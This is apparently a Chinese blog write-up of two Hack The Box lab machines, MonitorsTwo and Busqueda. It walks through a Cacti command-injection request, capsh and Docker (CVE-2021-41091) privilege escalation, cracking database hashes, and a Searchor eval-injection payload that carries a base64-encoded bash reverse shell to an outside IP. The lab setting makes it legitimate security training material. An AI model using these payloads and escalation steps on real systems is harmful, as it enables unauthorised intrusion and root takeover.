HTB:MonitorsTwo&Busqueda
最后更新时间:
文章总字数:
预计阅读时间:
HTB:MonitorsTwo&Busqueda
MonitorsTwo
常规信息收集
扫到了经典 80 和 22 端口,访问 80 ,发现是一个 cacti 的页面,并且标注出了版本号,那有版本号肯定就要尝试上网找找 exploit 。
Cacti 命令执行
https://blog.csdn.net/qq_41904294/article/details/128855445
利用方式在这篇文章里写得很全面了,就是访问这个 remote_agent.php ,然后会提示鉴权不通过(因为还没有登录),于是使用 X-Forwarded-For 来伪造本地访问(SSRF),然后在 poller_id 里面传入反引号包裹的命令即可。
另外还有一点就是这是个无回显的命令执行,所以这篇文章和我这里采用了先写好一个 shell.sh (反弹 shell ),再 wget 并 bash 执行获得 shell 的方法。
1 | GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`bash+shell.sh` HTTP/1.1 |
capsh 提权
find / -perm /4000 2>/dev/null
寻找特殊权限位即带有 SUID 标记的文件,SUID 标记允许用户以文件所有者的权限运行可执行文件,存在提权可能(find / -perm /4000 -user root
)。
capsh 是一个命令行工具,用于管理进程的能力(capabilities)。能力是一种细粒度的权限控制机制,允许进程在不完全提升为root用户的情况下执行某些特权操作。capsh 提权的利用见下面这篇文章:
https://gtfobins.github.io/gtfobins/capsh/#suid
然后这个网址里面也是记录了很多提权的手法,可以学习学习:
./capsh --gid=0 --uid=0 --
以下是对该命令中各部分的解释:
capsh
:capsh
是一个工具,用于设置和显示进程的Linux特权(capabilities)。--gid=0
: 设置进程的组ID(GID)为0,即root组。--uid=0
: 设置进程的用户ID(UID)为0,即root用户。--
: 双破折号(–)通常用于分隔命令行选项和参数,确保后续的参数不会被当作选项处理。
由于capsh
具有SUID位设置为root的特权,因此当通过执行该命令时,它会以root用户的权限运行。通过将UID和GID设置为0,该命令确保进程以最高特权级别运行。
然而,发现这是在 docker 环境下(通过根目录下的 .dockerenv 文件),获得了 root 也没啥用(后面利用 docker 漏洞的时候有用)
数据库信息收集
另寻他法,有网站,一定会有数据库,而且这里我们还有运行网站 root 用户的权限,直接查看 /var/www/html/include/config.php,获得数据库名称和登录的帐号密码:
mysql -h db -u root -proot cacti -e ‘show tables;’
-h 指定数据库 hostname,-u 指定用户名,-p紧跟密码,不用空格,后接数据库的名称,-e 接查询语句。
找到一个 user_auth 表,里面有用户名和密码 hash ,使用 john 可以破解其中一个 marcus 的密码:funkymonkey(这里 hashcat 会显示错误:Token length exception),拿去试试 ssh ,登录成功,获得 user flag 。经典提示你有邮件,看看是不是又直接告诉有什么漏洞了:
看内核版本,第一个用不了,第二个 XSS 用了也没用,重点关注一下第三个。看看 docker 的版本:20.10.5,确实可以打。
docker root 创建文件提权
docker 20.10.9 以下该提权方法有效,需要获得主机普通用户权限以及 docker 环境下的 root 权限。
先上 exp:
https://github.com/UncleJ4ck/CVE-2021-41091/blob/main/exp.sh
其实不用这个也行,道理很简单,自己也可以操作一下。简单来说,道理就是在 /var/lib/docker 中有几个目录,它们被挂载在 Docker 容器上并被使用,低权限用户可以访问这些目录。这意味着,如果攻击者获得了容器内部的根访问权限,他们就可以创建任意的 SUID 文件,容器外部的非特权用户可以与这些文件进行交互,并使用这些文件来提升他们的特权。
下面是具体的操作。
先通过 findmnt 命令来将挂载在系统的目录全部列出,包括 docker 使用的:
为了进一步确定到底是哪个目录,需要在之前的 docker 环境下使用 mount 命令,就可以找到具体目录。
接下来只需要使用 docker 的 root 将 /bin/bash 复制到 / 目录,并添加 SUID 权限即可让目标机的低级用户使用这个 /bin/bash 的复制可执行文件进行提权(-p 开启特权模式)。
不加 ./ ,使用的还是原来的低权限 bash ,加了才使用当前目录下的。
Busqueda
常规信息收集
还是普通的 22 和 80 端口,-A 也啥都扫不出来,直接看 80 的 web 页面,echo "10.10.11.208 searcher.htb" | sudo tee -a /etc/hosts
Searchor 2.4.2 Exp
web 页面用的框架版本直接告诉你了,Searchor 2.4.0 ,上网找找有没有对应的 exp (如果没告诉你,也可以通过 CMS 指纹识别等手段自行识别)
确实找到了:
https://github.com/jonnyzar/POC-Searchor-2.4.2
这个漏洞成因很简单,就是 Searchor 的源码处有这样的 eval 危险代码:
1 | url = eval( |
直接把用户输入的 query 拼接到 eval 里面,于是我们可以命令拼接执行代码(直接把后面的注释掉):
')+str(__import__('os').system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNS8xMzM3IDA+JjE=|base64 -d|bash'))#
另外,官方题解写的时候还没有 exp 发布,也可以学习一下网上没找到 exp ,但是可能存在漏洞应该怎么办。先上官网把旧版的下载下来,再和新版的对比看改了什么,再想如何利用。
./git/config 信息泄漏
这个 url 直接把 git 的用户名和密码:jh1usoih2bkjaspwe92 以及远程仓库地址都爆了,访问远程仓库:gitea.searcher.htb (记得加 hosts),发现有两个用户,一个是 cody ,另一个是 administrator ,目标显然就是登录 administrator 账户,然后看他的私有仓库有什么好东西。
回到我们之前获得的低权限账户里面,老操作 sudo -l 看看有什么可以用的:
刚刚发现的那个密码经 ssh 验证也是这个账户的密码,发现可以运行这个 checkup ,那就运行一下看看:
docker-ps 列出了容器,可以看到我们刚刚访问的 gitea 服务就在这里,还有一个 docker-inspect 可以查看 docker 信息:
docker-inspect 查看信息
docker inspect
命令用于检查 Docker 对象的详细信息,包括容器、镜像、网络、卷等。它提供了关于 Docker 对象的元数据和配置的详细视图。以下是一些常用的 docker inspect
命令参数:
<object>
:要检查的 Docker 对象的标识符,可以是容器、镜像、网络、卷等的名称或ID。--format="<format>"
:指定输出的格式。可以使用Go模板语法来定义自定义输出格式。例如,--format='{{.Name}}: {{.State.Status}}'
将只显示容器名称和状态。--type="<type>"
:指定要检查的对象类型。可以是container
(容器,默认)、image
(镜像)、network
(网络)或volume
(卷)。--size
:显示对象的大小信息,例如镜像的大小。--all
:显示所有对象的详细信息,包括停止的容器和未使用的镜像。--no-trunc
:显示完整的输出,不截断文本。--help
:显示docker inspect
命令的帮助信息。
这里我们可以使用 docker inspect --format='{{json .}}' <container_name_or_id>
来获得所有的信息,另外 jq 工具可以处理 json 数据,使其好看一点,这台靶机上正好给你装上了,| jq 就行。找到密码:
可以看到刚刚我们可以运行的 checkup.py 的源码,审计一下:
这里竟然用了相对路径!!!!那直接移动到 /tmp 下,自己写一个反弹 shell 的 full-checkup.sh ,然后在 /tmp 目录下用刚刚的命令 sudo 运行一下 full-checkup 即可获得 root 的 shell (记得别和上面那个反弹 shell 一个端口)。